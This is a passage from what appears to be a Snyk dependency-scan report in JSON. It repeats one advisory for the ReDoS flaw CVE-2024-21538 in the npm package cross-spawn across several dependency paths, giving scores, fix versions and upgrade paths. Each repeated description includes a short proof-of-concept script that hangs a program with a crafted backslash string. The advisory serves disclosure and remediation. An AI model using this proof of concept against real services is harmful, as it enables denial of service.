example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmversion@6.0.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
